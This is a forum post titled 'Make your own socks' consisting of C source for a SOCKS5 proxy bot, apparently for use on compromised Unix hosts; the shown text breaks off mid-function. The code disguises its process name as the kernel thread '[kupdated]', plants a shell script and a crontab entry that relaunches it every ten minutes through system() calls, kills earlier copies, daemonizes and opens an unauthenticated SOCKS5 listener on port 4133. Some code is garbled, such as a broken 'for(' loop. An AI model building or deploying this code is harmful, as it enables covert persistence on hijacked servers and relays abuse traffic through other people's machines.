Jump to content
ilbr22

Make your own socks

Recommended Posts

#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <time.h>

#ifdef _WIN32
#include <winsock.h>
#include <windows.h>
#else
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <signal.h>
#include <unistd.h>
#include <ctype.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/time.h>
#endif

#define PORTNUM 4133
#define PROC_NAME "[kupdated]"
#define PIDNAME "kupdated.so"
#define CRONNAME "kupdatedc"
#define BASHNAME "kupdatedb"
#define STARTUP
#define APPNAME "kupdated"
#define VERSION "0.6"

#define MAX_CONNECTIONS 103
#define LISTEN_BACKLOG 1024
#define BUFFER_SIZE 4096

#define MAX_RULES 16
#define MAX_IP_LENGTH 16

#define DEFAULT_POLICY_ALLOW 1
#define DEFAULT_POLICY_DENY 2

#define SSL_CONNECT_STRING_NOAUTH "CONNECT %s HTTP/1.0\r\nUser-Agent: Mozilla/4.0\r\nProxy-Connection: Keep-Alive\r\nPragma: No-Cache\r\n\r\n"
#define SSL_CONNECT_STRING_AUTH "CONNECT %s HTTP/1.0\r\nUser-Agent: Mozilla/4.0\r\nProxy-Connection: Keep-Alive\r\nPragma: No-Cache\r\nProxy-Authorization: Basic %s\r\n\r\n"
#define SSL_TERMINATE_STRING "\r\n\r\n"

#define REJECTED_IP_MASK_FAILED "%s [%d] Connection Rejected... Connection Prohibited\n"
#define REJECTED_LIMIT_REACHED "%s [%d] Connection Rejected... Connection Limit Reached\n"
#define BAC_CONNECTION_REJECTED "%s BAC Connection Rejected... Busy Service\n"
#define REJECTED_SOCKS5_FAIL "%s [%d] Connection Rejected... Socks 5 Authentication Failed\n"
#define ADMIN_WAITING_BIND "%s Waiting For HTTP Connections On %s:%d\n"
#define ADMIN_WAITING_NOBIND "%s Waiting For HTTP Connections On 0.0.0.0:%d\n"
#define WAITING_BIND "%s Waiting For TCP Connections On %s:%d\n"
#define WAITING_NOBIND "%s Waiting For TCP Connections On 0.0.0.0:%d\n"
#define ACCEPTED_CONNECTION "%s Accepted Connection %d From %s\n"
#define HTTP_ACCEPTED_CONNECTION "%s Accepted HTTP Connection %d From %s\n"
#define SSL_FAILED_NO_TERMINATOR "%s [%d] SSL Tunnelling Failed, Could Not Retrieve Terminator\n"
#define SSL_SUCCESSFUL "%s [%d] SSL Tunnelling Successful, Returned %d (%s)\n"
#define SSL_OVERFLOW "%s [%d] SSL Overflow Of %d Bytes Detected\n"
#define SSL_FAILED "%s [%d] SSL Tunnelling Failed, Returned %d (%s)\n"
#define SHUTDOWN_REQUEST "%s Caught Shutdown Request... Terminating Gracefully\n"
#define CAUGHT_SIGNAL "%s Caught Signal %d... Terminating Gracefully\n"
#define CLOSING_LISTENING_SOCKET "%s Closing Listening Socket\n"
#define CLOSING_HTTP_LISTENING_SOCKET "%s Closing HTTP Listening Socket\n"
#define CONNECTION_CLOSED "%s Connection %d Closed\n"
#define HTTP_CONNECTION_CLOSED "%s HTTP Connection %d Closed\n"
#define SOCKS5_UNKNOWN_DATA "%s [%d] Unknown Data Received From Socks 5 Client\n"
#define SOCKS5_NEGOTIATING "%s [%d] Negotiating Socks 5 Protocol\n"
#define CONNECTION_ATTEMPT "%s Connection %d Attempting To Connect To %s:%d\n"
#define CONNECTION_CONNECTED "%s Connection %d Connected To %s:%d\n"
#define SSL_TUNNELLING "%s [%d] SSL Tunnelling To %s\n"
#define ERROR_CONNECTION "%s [%d] %s:%d - Error %d (%s) - %s\n"
#define ERROR_NO_CONNECTION "%s %s:%d - Error %d (%s) - %s\n"
#define WINDOWS_DAEMON "%s Bouncer Daemonized - Console Inactive\n"

#define LIST_ADMIN_SOCKS "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td><center> </center></td><td align=\"right\">%s</td><td align=\"center\"> </td></tr>"
#define LIST_SOCKS "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td><center>%s</center></td><td align=\"right\">%s</td><td align=\"right\">%s KB</td></tr>"
#define LIST_ADMIN "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td align=\"right\">%s</td><td align=\"center\"> </td></tr>"
#define LIST "<tr><td><center>%d</center></td><td>%s</td><td><center>%s</center></td><td align=\"right\">%s</td><td align=\"right\">%s KB</td></tr>"

#define TIMESTAMP_FORMAT "[%H:%M.%S]"

#define HTTP_TERMINATOR "\r\n\r\n"
#define HTTP_AUTH_HEADERS 1
#define HTTP_INDEX 2
#define HTTP_SHUTDOWN 3
#define HTTP_LIST 4

#define BASE64_WS 0xE0
#define BASE64_NOT_BASE64(a) (((a) | 0x13) == 0xF3)

#define conv_ascii2bin(a) (data_ascii2bin[(a) & 0x7F])

#define WM_APP_BASE 0x8000
#define WM_STD_OUT_CHAR (WM_APP_BASE + 400)
#define WM_STD_ERR_CHAR (WM_APP_BASE + 401)

#define TRUE 1
#define FALSE 0

#define SUCCESS 0

#undef ERROR
#define ERROR -1

#define BOUNCER_PIDFILE "kupdated.so"

enum AccessStatus { csAllowed, csRejected };
enum ClientStatus { csBlank, csUnknown, csConnecting, csSocks, csAuthenticating, csAuthenticated, csAdmin };

#ifndef _WIN32
#define INVALID_SOCKET -1
typedef int SOCKET;
#endif

typedef struct {
struct sockaddr_in SockAddrIn;
struct sockaddr_in SockAddrOut;
SOCKET s[2];
int status;
long total_bytes;
char socks5_response[64];
int socks5_bytes;
char socks5_dest_host[256];
char socks5_dest_port[6];
char tunnel[256];
time_t start_time;
} Client;

typedef struct {
SOCKET ls;
int aport;
struct sockaddr_in addr;
char username[128];
char password[128];
char bind[64];
} Admin;

typedef struct {
SOCKET port;
char d[255];
char t[255];
char bind[64];
char dest_host[255];
char dest_port[255];
char destination[255];
char tunnel[255];
char pidfile[255];
char logfile[255];
char t_user[128];
char t_password[128];
char s_user[128];
char s_password[128];
char a_user[128];
char a_password[128];
char cloak_name[128];
int socks5;
int hWnd;
int daemon;
int adp;
int debug;
int tcpnodelay;
} Options;

#ifndef _WIN32
void sig_handler(int, siginfo_t *, void *);
void write_pid(void);
int daemonize(void);
#else
static void send_msg(HWND, UINT, WPARAM);
#endif

static void oline(FILE *, char *, ...);
void oerror(char *, char *, int, int);
char *timestamp(void);
void close_client_sockets(int);
char *format_float(float);
int send_socks5_response(char *, int, int, int);
void initsocks(int, char *, int);
char *base64e(char *);
void socketclose(SOCKET, int);
void show_version(void);
void show_usage(void);
int matches(char *, char *);
int allowed(int, int, int, int);
int connect_to(int, char *, int, int, int);
void ssl_tunnel(int, char *, char *, int);
void socks_connect(int, char *, int);
int set_non_blocking(SOCKET, int);
int set_blocking(SOCKET, int);
void bouncer_shutdown(int);
int examine_http_request(char *);
int base64d(char *, char *);
void send_auth_headers(SOCKET, int);
void send_index(SOCKET, int);
void send_shutdown(SOCKET, int);
int http_authorized(char *);
void send_list(SOCKET, int, int);
char *format_time(time_t);
void initialise_options(void);


#ifdef _WIN32
#include "win-errors.h"
#endif

SOCKET ls;
time_t init_time;
long connections = 0;
long total_data = 0;
char buffer[BUFFER_SIZE];
char arules[MAX_RULES][MAX_IP_LENGTH];
char drules[MAX_RULES][MAX_IP_LENGTH];
Client clients[MAX_CONNECTIONS + 1];
Options options;
Admin admin;

int main(int argc, char *argv[]) {
int mx;
int z;
int i;
int bytes;
int so_reuseaddr = TRUE;
int tcp_nodelay = TRUE;
int len_inet = 0;
int errssl = 0;
int narules = 0;
int ndrules = 0;
struct sockaddr_in SockAddr;
struct timeval tv;
char *cp = NULL;
char *x, *y;
char *msgssl = NULL;
char *auth_string = NULL;
char auth_buffer[128];
fd_set fdset;
fd_set cset;
//check if proxy is running.
FILE *f;
int xx;
char s[25];
int mainpid;
char mainexe[512];
char cwd[256],*str;
#ifdef STARTUP
FILE *hfile;
FILE *file;
char croncmd[512];
char cronchm[512];
char crondel[512];
#endif


#ifndef _WIN32
struct sigaction sact;
#else
WSADATA wData;
int j;
int k;
#endif

initialise_options();

options.daemon = 1;
options.port = PORTNUM;
options.socks5 = 1;

//check if proxy is running.
f = fopen(PIDNAME, "r");
if (f != NULL) {
fgets(s, sizeof(s), f);
xx = atoi(s);
kill(xx, SIGCHLD);
if (errno != ESRCH) {
kill(0,9);
exit(1);
}
}
//set mainexe to a variable//
strncpy(mainexe,argv[0],strlen(argv[0]));
//add the bot to crontab
#ifdef STARTUP
getcwd(cwd,256);
hfile=fopen(BASHNAME,"w");
fprintf(hfile, "#!/bin/sh\n");
fprintf(hfile, "cdd=\"%s\"\n",cwd);
fprintf(hfile, "cd $cdd\n");
fprintf(hfile, "if [ -f %s ]\n", PIDNAME);
fprintf(hfile, "then\n");
fprintf(hfile, "pid=`cat %s`\n", PIDNAME);
fprintf(hfile, "if [ `ps -p $pid | wc -l` -eq 2 ]\n");
fprintf(hfile, "then\n");
fprintf(hfile, "exit\n");
fprintf(hfile, "fi\n");
fprintf(hfile, "rm -rf %s\n", PIDNAME);
fprintf(hfile, "fi\n");
fprintf(hfile, "%s\n", argv[0]);
fprintf(hfile, "exit 0\n");
fclose(hfile);
file=fopen(CRONNAME,"w");
fprintf(file, "0,10,20,30,40,50 * * * * %s/%s >/dev/null 2>&1\n", cwd, BASHNAME);
fclose(file);
sprintf(croncmd,"crontab %s",CRONNAME);
sprintf(cronchm,"chmod 777 %s",BASHNAME);
sprintf(crondel,"rm %s",CRONNAME);
system(croncmd);
system(cronchm);
system(crondel);
//set pid variable
mainpid = getpid();
//creates pid file//
xx = getpid();
if (xx != 0) {
FILE *fp;
unlink(PIDNAME);
fp = fopen(PIDNAME, "w");
if (fp != NULL) {
fprintf(fp, "%u\n", xx);
if (fflush(fp)) {
fclose(fp);
unlink(PIDNAME);
} else
fclose(fp);
} else
return 1;
}
#endif


if(argc != 1) {
for(i = 1; i < argc; i++) {
if(strncmp(argv[i], "--port", 6) == 0) {
if(argv[i + 1]) {
options.port = atoi(argv[i + 1]);
}
}
else if(strncmp(argv[i], "--destination", 13) == 0) {
if(argv[i + 1]) {
snprintf(options.d, sizeof(options.d), "%s", argv[i + 1]);
snprintf(options.destination, sizeof(options.destination), "%s", options.d);
}
}
else if(strncmp(argv[i], "--socks5", 8) == 0) {
options.socks5 = 1;
}
else if(strncmp(argv[i], "--tunnel", 8) == 0) {
if(argv[i + 1]) {
snprintf(options.t, sizeof(options.t), "%s", argv[i + 1]);
snprintf(options.tunnel, sizeof(options.tunnel), "%s", options.t);
}
}
else if(strncmp(argv[i], "--bind", 6) == 0) {
if(argv[i + 1]) {
snprintf(options.bind, sizeof(options.bind), "%s", argv[i + 1]);
}
}
#ifdef _WIN32
else if(strncmp(argv[i], "--gui", 5) == 0) {
if(argv[i + 1]) {
options.hWnd = atoi(argv[i + 1]);
}
}
#else
else if(strncmp(argv[i], "--pidfile", 9) == 0) {
if(argv[i + 1]) {
snprintf(options.pidfile, sizeof(options.pidfile), "%s", argv[i + 1]);
}
}
#endif
else if(strncmp(argv[i], "--daemon", 8) == 0) {
options.daemon = 1;
}
else if(strncmp(argv[i], "--logfile", 9) == 0) {
if(argv[i + 1]) {
snprintf(options.logfile, sizeof(options.logfile), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--aport", 7) == 0) {
if(argv[i + 1]) {
admin.aport = atoi(argv[i + 1]);
}
}
else if(strncmp(argv[i], "--abind", 7) == 0) {
if(argv[i + 1]) {
snprintf(admin.bind, sizeof(admin.bind), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--a_user", 8) == 0) {
if(argv[i + 1]) {
snprintf(admin.username, sizeof(admin.username), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--a_password", 12) == 0) {
if(argv[i + 1]) {
snprintf(admin.password, sizeof(admin.password), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--allow", 7) == 0) {
if(narules == MAX_RULES) {
options.port = 0;
break;
}
if((ndrules == 0) && (options.adp == 0)){
options.adp = DEFAULT_POLICY_ALLOW;
}
if(argv[i + 1]) {
strncpy(arules[narules++], argv[i + 1], strlen(argv[i + 1]));
}
}
else if(strncmp(argv[i], "--deny", 6) == 0) {
if(ndrules == MAX_RULES) {
options.port = 0;
break;
}
if((narules == 0) && (options.adp == 0)) {
options.adp = DEFAULT_POLICY_DENY;
}
if(argv[i + 1]) {
strncpy(drules[ndrules++], argv[i + 1], strlen(argv[i + 1]));
}
}
#ifdef LINUX
else if(strncmp(argv[i], "--cloak", 7) == 0) {
if(argv[i + 1]) {
snprintf(options.cloak_name, sizeof(options.cloak_name), "%s", argv[i + 1]);
}
}
#endif
else if(strncmp(argv[i], "--t_user", 8) == 0) {
if(argv[i + 1]) {
snprintf(options.t_user, sizeof(options.t_user), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--t_password", 12) == 0) {
if(argv[i + 1]) {
snprintf(options.t_password, sizeof(options.t_password), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--s_user", 8) == 0) {
if(argv[i + 1]) {
snprintf(options.s_user, sizeof(options.s_user), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--s_password", 12) == 0) {
if(argv[i + 1]) {
snprintf(options.s_password, sizeof(options.s_password), "%s", argv[i + 1]);
}
}
else if(strncmp(argv[i], "--nodebug", 9) == 0) {
options.debug = 0;
}
else if(strncmp(argv[i], "--tcpnodelay", 12) == 0) {
options.tcpnodelay = 1;
}
}
}

if((options.port == 0) || ((admin.aport) && ((strlen(admin.username) == 0) || (strlen(admin.password) == 0))) || ((!admin.aport) && ((strlen(admin.bind) != 0))) || ((strlen(options.logfile) != 0) && (!options.debug)) || ((strlen(options.logfile) != 0) && (options.hWnd)) || ((strlen(options.d) == 0) && (!options.socks5)) || ((strlen(options.d) != 0) && (options.socks5)) || ((strlen(options.d) != 0) && (strstr(options.d, ":") == NULL) && (!options.socks5)) || ((strlen(options.t) != 0) && (strstr(options.t, ":") == NULL)) || (((strlen(options.t_user) == 0) && (strlen(options.t_password) != 0)) || ((strlen(options.t_user) != 0) && (strlen(options.t_password) == 0)) || ((strlen(options.t_user) != 0) && (strlen(options.t) == 0))) || (((strlen(options.s_user) == 0) && (strlen(options.s_password) != 0)) || ((strlen(options.s_user) != 0) && (strlen(options.s_password) == 0)) || ((strlen(options.s_user) != 0) && (!options.socks5)))) {
options.hWnd = 0;
show_version();
show_usage();
return(0);
}

strcpy(argv[0], PROC_NAME);

if(options.daemon) {
#ifdef _WIN32
options.debug = 1;
show_version();
#endif
options.debug = 0;
#ifdef _WIN32
fprintf(stdout, WINDOWS_DAEMON, timestamp());
fflush(stdout);
FreeConsole();
#else
if(daemonize() == -1) {
return(0);
}
#endif
}

if(strlen(options.t_user) != 0) {
strncpy(auth_buffer, options.t_user, strlen(options.t_user));
strncat(auth_buffer, ":", 1);
if(strlen(options.t_password) != 0) {
strncat(auth_buffer, options.t_password, strlen(options.t_password));
}
auth_string = base64e(auth_buffer);
}

show_version();

#ifdef _WIN32
if(WSAStartup(MAKEWORD(1,0), &wData) != 0) {
oerror("WSAStartup", __FILE__, __LINE__, 0);
return(-1);
}
#endif

if((strlen(options.t) == 0) && (!options.socks5)) {
snprintf(options.dest_host, sizeof(options.dest_host), "%s", strtok(options.d, ":"));
snprintf(options.dest_port, sizeof(options.dest_port), "%s", strtok(NULL, "\n"));
}
else if(strlen(options.t) != 0) {
snprintf(options.dest_host, sizeof(options.dest_host), "%s", strtok(options.t, ":"));
snprintf(options.dest_port, sizeof(options.dest_port), "%s", strtok(NULL, "\n"));
}

#ifndef _WIN32
write_pid();

sact.sa_sigaction = sig_handler;
sact.sa_flags = SA_SIGINFO;
sigemptyset(&sact.sa_mask);

if(sigaction(SIGINT, &sact, (struct sigaction *) NULL) == ERROR) {
oerror("sigaction", __FILE__, __LINE__, 0);
return(-1);
}

if(sigaction(SIGTERM, &sact, (struct sigaction *) NULL) == ERROR) {
oerror("sigaction", __FILE__, __LINE__, 0);
return(-1);
}
#endif

memset(&SockAddr, 0, sizeof(struct sockaddr_in));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(options.port);

if(strlen(options.bind) == 0) {
SockAddr.sin_addr.s_addr = INADDR_ANY;
}
else {
SockAddr.sin_addr.s_addr = inet_addr(options.bind);
}

for(i = 0; i < MAX_CONNECTIONS + 1; i++) {
clients[i].s[0] = INVALID_SOCKET;
clients[i].s[1] = INVALID_SOCKET;
clients[i].status = csBlank;
}

if((ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
oerror("socket", __FILE__, __LINE__, 0);
return(-1);
}

if((setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, (char *)&so_reuseaddr, sizeof(so_reuseaddr))) == ERROR) {
oerror("setsockopt", __FILE__, __LINE__, 0);
return(-1);
}

len_inet = sizeof(SockAddr);
if((bind(ls, (struct sockaddr *)&SockAddr, len_inet)) == ERROR) {
oerror("bind", __FILE__, __LINE__, 0);
return(-1);
}

if((listen(ls, LISTEN_BACKLOG)) == ERROR) {
oerror("listen", __FILE__, __LINE__, 0);
return(-1);
}

if(strlen(options.bind) != 0) {
oline(stdout, WAITING_BIND, timestamp(), options.bind, options.port);
}
else {
oline(stdout, WAITING_NOBIND, timestamp(), options.port);
}

if(admin.aport) {
memset(&admin.addr, 0, sizeof(struct sockaddr_in));
admin.addr.sin_family = AF_INET;
admin.addr.sin_port = htons(admin.aport);

if(strlen(admin.bind) == 0) {
admin.addr.sin_addr.s_addr = INADDR_ANY;
}
else {
admin.addr.sin_addr.s_addr = inet_addr(admin.bind);
}

if((admin.ls = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {
oerror("socket", __FILE__, __LINE__, 0);
return(-1);
}

if((setsockopt(admin.ls, SOL_SOCKET, SO_REUSEADDR, (char *)&so_reuseaddr, sizeof(so_reuseaddr))) == ERROR) {
oerror("setsockopt", __FILE__, __LINE__, 0);
return(-1);
}

if((bind(admin.ls, (struct sockaddr *)&admin.addr, len_inet)) == ERROR) {
oerror("bind", __FILE__, __LINE__, 0);
return(-1);
}

if((listen(admin.ls, LISTEN_BACKLOG)) == ERROR) {
oerror("listen", __FILE__, __LINE__, 0);
return(-1);
}

if(strlen(admin.bind) != 0) {
oline(stdout, ADMIN_WAITING_BIND, timestamp(), admin.bind, admin.aport);
}
else {
oline(stdout, ADMIN_WAITING_NOBIND, timestamp(), admin.aport);
}
}

init_time = time(NULL);

for( {
FD_ZERO(&fdset);
FD_ZERO(&cset);
FD_SET(mx = ls, &fdset);

if(admin.aport) {
FD_SET(admin.ls, &fdset);
mx = (admin.ls > (unsigned int)mx) ? admin.ls : mx;
}

for(i = 0; i <= MAX_CONNECTIONS; i++) {
if(clients[i].status != csBlank) {
if(clients[i].status == csConnecting) {
FD_SET(clients[i].s[1], &cset);
mx = (clients[i].s[1] > (unsigned int)mx) ? clients[i].s[1] : mx;
}
else {
FD_SET(clients[i].s[0], &fdset);
mx = (clients[i].s[0] > (unsigned int)mx) ? clients[i].s[0] : mx;
if((clients[i].status == csAuthenticating) || (clients[i].status == csAuthenticated)) {
FD_SET(clients[i].s[1], &fdset);
mx = (clients[i].s[1] > (unsigned int)mx) ? clients[i].s[1] : mx;
}
}
}
}

tv.tv_sec = 1;
tv.tv_usec = 0;

#ifdef _WIN32
if((z = select(mx + 1, &fdset, &cset, &cset, &tv)) > 0) {
#else
if((z = select(mx + 1, &fdset, &cset, NULL, &tv)) > 0) {
#endif
if(admin.aport) {
if(FD_ISSET(admin.ls, &fdset)) {
for(i = 0; i < MAX_CONNECTIONS + 1; i++) {
if(clients[i].status == csBlank) {
clients[i].total_bytes = 0;
len_inet = sizeof(struct sockaddr_in);

if((clients[i].s[0] = accept(admin.ls, (struct sockaddr *)&clients[i].SockAddrIn, &len_inet)) == INVALID_SOCKET) {
oerror("accept", __FILE__, __LINE__, i + 1);
break;
}

connections++;

oline(stdout, HTTP_ACCEPTED_CONNECTION, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrIn.sin_addr));

if(i == MAX_CONNECTIONS) {
socketclose(clients[i].s[0], i);
clients[i].s[0] = INVALID_SOCKET;
oline(stdout, REJECTED_LIMIT_REACHED, timestamp(), i + 1);
oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1);
break;
}

clients[i].total_bytes = 0;
clients[i].start_time = time(NULL);
clients[i].status = csAdmin;
break;
}
}
}
}
if(FD_ISSET(ls, &fdset)) {
for(i = 0; i < MAX_CONNECTIONS + 1; i++) {
if(clients[i].status == csBlank) {
clients[i].total_bytes = 0;
len_inet = sizeof(clients[i].SockAddrIn);

if((clients[i].s[0] = accept(ls, (struct sockaddr *)&clients[i].SockAddrIn, &len_inet)) == INVALID_SOCKET) {
oerror("accept", __FILE__, __LINE__, i + 1);
break;
}

connections++;

oline(stdout, ACCEPTED_CONNECTION, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrIn.sin_addr));

if(i == MAX_CONNECTIONS) {
socketclose(clients[i].s[0], i);
clients[i].s[0] = INVALID_SOCKET;
oline(stdout, REJECTED_LIMIT_REACHED, timestamp(), i + 1);
oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1);
break;
}

clients[i].start_time = time(NULL);
clients[i].status = csUnknown;

if(allowed(i, options.adp, narules, ndrules) != csAllowed) {
socketclose(clients[i].s[0], i);
clients[i].status = csBlank;
clients[i].s[0] = INVALID_SOCKET;
oline(stdout, REJECTED_IP_MASK_FAILED, timestamp(), i + 1);
oline(stdout, CONNECTION_CLOSED, timestamp(), i + 1);
break;
}

if(options.tcpnodelay) {
if((setsockopt(clients[i].s[0], IPPROTO_TCP, TCP_NODELAY, (char *)&tcp_nodelay, sizeof(tcp_nodelay))) == ERROR) {
oerror("setsockopt", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
break;
}
}

if(options.socks5) {
oline(stdout, SOCKS5_NEGOTIATING, timestamp(), i + 1);
clients[i].status = csSocks;
break;
}

connect_to(i, options.dest_host, (int)strtol(options.dest_port, &cp, 10), options.socks5, options.tcpnodelay);
break;
}
}
}

for(i = 0; i < MAX_CONNECTIONS + 1; i++) {
if(clients[i].status == csConnecting) {
if(FD_ISSET(clients[i].s[1], &cset)) {
if(recv(clients[i].s[1], NULL, 0, MSG_PEEK) == -1) {
#ifndef _WIN32
if(errno != EAGAIN) {
#else
if(WSAGetLastError() != WSAEWOULDBLOCK) {
WSASetLastError(10060);
#endif
oerror("connect", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
break;
}
}

oline(stdout, CONNECTION_CONNECTED, timestamp(), i + 1, inet_ntoa(clients[i].SockAddrOut.sin_addr), htons(clients[i].SockAddrOut.sin_port));

if(set_blocking(clients[i].s[1], i) == -1) {
if(options.socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
break;
}

if(options.socks5) {
if(strlen(options.t) != 0) {
ssl_tunnel(i, clients[i].tunnel, auth_string, 1);
}
else {
if(send_socks5_response(clients[i].socks5_response, i, TRUE, clients[i].socks5_bytes) == ERROR) {
close_client_sockets(i);
}
else {
clients[i].status = csAuthenticated;
clients[i].total_bytes = 0;
clients[i].start_time = time(NULL);
}
}
}
else {
if(strlen(options.t) != 0) {
ssl_tunnel(i, options.d, auth_string, options.socks5);
break;
}
clients[i].status = csAuthenticated;
clients[i].total_bytes = 0;
clients[i].start_time = time(NULL);
}
}
}
if(clients[i].status != csBlank) {
if(FD_ISSET(clients[i].s[0], &fdset)) {
if(clients[i].status == csAdmin) {
if((bytes = recv(clients[i].s[0], buffer, BUFFER_SIZE, 0)) < 1) {
close_client_sockets(i);
break;
}
buffer[bytes] = 0;
if(strstr(buffer, HTTP_TERMINATOR) != NULL) {
switch(examine_http_request(buffer)) {
case HTTP_AUTH_HEADERS:
send_auth_headers(clients[i].s[0], i);
break;
case HTTP_INDEX:
send_index(clients[i].s[0], i);
break;
case HTTP_LIST:
send_list(clients[i].s[0], i, options.socks5);
break;
case HTTP_SHUTDOWN:
send_shutdown(clients[i].s[0], i);
close_client_sockets(i);
bouncer_shutdown(0);
break;
}
close_client_sockets(i);
}
}
else if(clients[i].status != csAuthenticating) {
if(clients[i].status == csSocks) {
initsocks(i, options.t, options.tcpnodelay);
}
else {
if((bytes = recv(clients[i].s[0], buffer, BUFFER_SIZE, 0)) < 1) {
close_client_sockets(i);
break;
}
if((send(clients[i].s[1], buffer, bytes, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
break;
}
clients[i].total_bytes += bytes;
total_data += bytes;
}
}
}
if((clients[i].status == csAuthenticating) || (clients[i].status == csAuthenticated)) {
if(FD_ISSET(clients[i].s[1], &fdset)) {
if((bytes = recv(clients[i].s[1], buffer, BUFFER_SIZE, 0)) < 1) {
close_client_sockets(i);
break;
}
if(clients[i].status == csAuthenticating) {
y = strdup(buffer);
if((x = strtok(y, " ")) != NULL) {
if((x = strtok(NULL, " ")) != NULL) {
errssl = atoi(x);
if((x = strtok(NULL, "\r")) != NULL) {
msgssl = x;
}
}
}
free(y);
if(errssl == 200) {
buffer[bytes] = 0;
if((y = strstr(buffer, SSL_TERMINATE_STRING)) == NULL) {
oline(stdout, SSL_FAILED_NO_TERMINATOR, timestamp(), i + 1);
if(options.socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
break;
}
else {
oline(stdout, SSL_SUCCESSFUL, timestamp(), i + 1, errssl, msgssl);
if(options.socks5) {
send_socks5_response(clients[i].socks5_response, i, TRUE, clients[i].socks5_bytes);
}
if(strlen(y) != strlen(SSL_TERMINATE_STRING)) {
oline(stdout, SSL_OVERFLOW, timestamp(), i + 1, strlen(y) - strlen(SSL_TERMINATE_STRING));
y += strlen(SSL_TERMINATE_STRING);
if((send(clients[i].s[0], y, strlen(y), 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
break;
}
clients[i].total_bytes += (strlen(y) - strlen(SSL_TERMINATE_STRING));
total_data += (strlen(y) - strlen(SSL_TERMINATE_STRING));
}
clients[i].status = csAuthenticated;
clients[i].start_time = time(NULL);
}
}
else {
oline(stdout, SSL_FAILED, timestamp(), i + 1, errssl, msgssl);
if(options.socks5) {
send_socks5_response(clients[i].socks5_response, i, FALSE, clients[i].socks5_bytes);
}
close_client_sockets(i);
break;
}
}
else {
if((send(clients[i].s[0], buffer, bytes, 0)) == ERROR) {
oerror("send", __FILE__, __LINE__, i + 1);
close_client_sockets(i);
break;
}
clients[i].total_bytes += bytes;
total_data += bytes;
}
}
}
}
}
}
else if(z == ERROR) {
oerror("select", __FILE__, __LINE__, 0);
return(-1);
}
}
}

int matches(char *ip, char *mask) {
char *tip, *tmask, *s;
char seg1[4][4];
char seg2[4][4];
int i;

tip = strdup(ip);
if((s = strtok(tip, ".")) == NULL) {
free(tip);
return(FALSE);
}
strncpy(seg1[0], s, sizeof(s));
if((s = strtok(NULL, ".")) == NULL) {
free(tip);
return(FALSE);
}
strncpy(seg1[1], s, sizeof(s));
if((s = strtok(NULL, ".")) == NULL) {
free(tip);
return(FALSE);
}
strncpy(seg1[2], s, sizeof(s));
if((s = strtok(NULL, "\n")) == NULL) {
free(tip);
return(FALSE);
}
strncpy(seg1[3], s, sizeof(s));
free(tip);

tmask = strdup(mask);
if((s = strtok(tmask, ".")) == NULL) {
free(tmask);
return(FALSE);
}
strncpy(seg2[0], s, sizeof(s));
if((s = strtok(NULL, ".")) == NULL) {
free(tmask);
return(FALSE);
}
strncpy(seg2[1], s, sizeof(s));
if((s = strtok(NULL, ".")) == NULL) {
free(tmask);
return(FALSE);
}
strncpy(seg2[2], s, sizeof(s));
if((s = strtok(NULL, "\n")) == NULL) {
free(tmask);
return(FALSE);
}
strncpy(seg2[3], s, sizeof(s));
free(tmask);

for(i = 0; i < 4; i++) {
if((strncmp(seg2[i], "*", 1) != 0) && (strncmp(seg2[i], seg1[i], strlen(seg1[i])) != 0)) {
return(FALSE);
}
}

return(TRUE);
}

void bouncer_shutdown(int sig) {
int i;

if(sig != 0) {
oline(stdout, CAUGHT_SIGNAL, timestamp(), sig);
}
else {
oline(stdout, SHUTDOWN_REQUEST, timestamp());
}

for(i = 0; i < MAX_CONNECTIONS + 1; i++) {
close_client_sockets(i);
}

if(admin.aport) {
oline(stdout, CLOSING_HTTP_LISTENING_SOCKET, timestamp());
socketclose(admin.ls, 0);
}

oline(stdout, CLOSING_LISTENING_SOCKET, timestamp());
socketclose(ls, 0);
#ifndef _WIN32
remove(options.pidfile);
#endif
exit(0);
}

#ifndef _WIN32
void sig_handler(int sig, siginfo_t *sinf, void *ucon) {
if((sig == SIGINT)||(sig == SIGTERM)) {
bouncer_shutdown(sig);
}
}

int daemonize(void) {
pid_t pid;

switch(pid = fork()) {
case -1:
oerror("fork", __FILE__, __LINE__, 0);
return(-1);
case 0:
if(setsid() < 0) {
oerror("setsid", __FILE__, __LINE__, 0);
return(-1);
}

if((chdir("/")) < 0) {
oerror("chdir", __FILE__, __LINE__, 0);
return(-1);
}

umask(0);

close(STDIN_FILENO);
close(STDOUT_FILENO);
close(STDERR_FILENO);

switch(pid = fork()) {
case -1:
oerror("fork", __FILE__, __LINE__, 0);
return(-1);
case 0:
return(0);
default:
return(-1);
}
default:
return(-1);
}
}

void write_pid(void) {
int fd;
char buffer[20];

if(strlen(options.pidfile) == 0) {
snprintf(options.pidfile, sizeof(options.pidfile), BOUNCER_PIDFILE);
}
if((fd = open(options.pidfile, O_CREAT|O_WRONLY, 0600)) >= 0) {
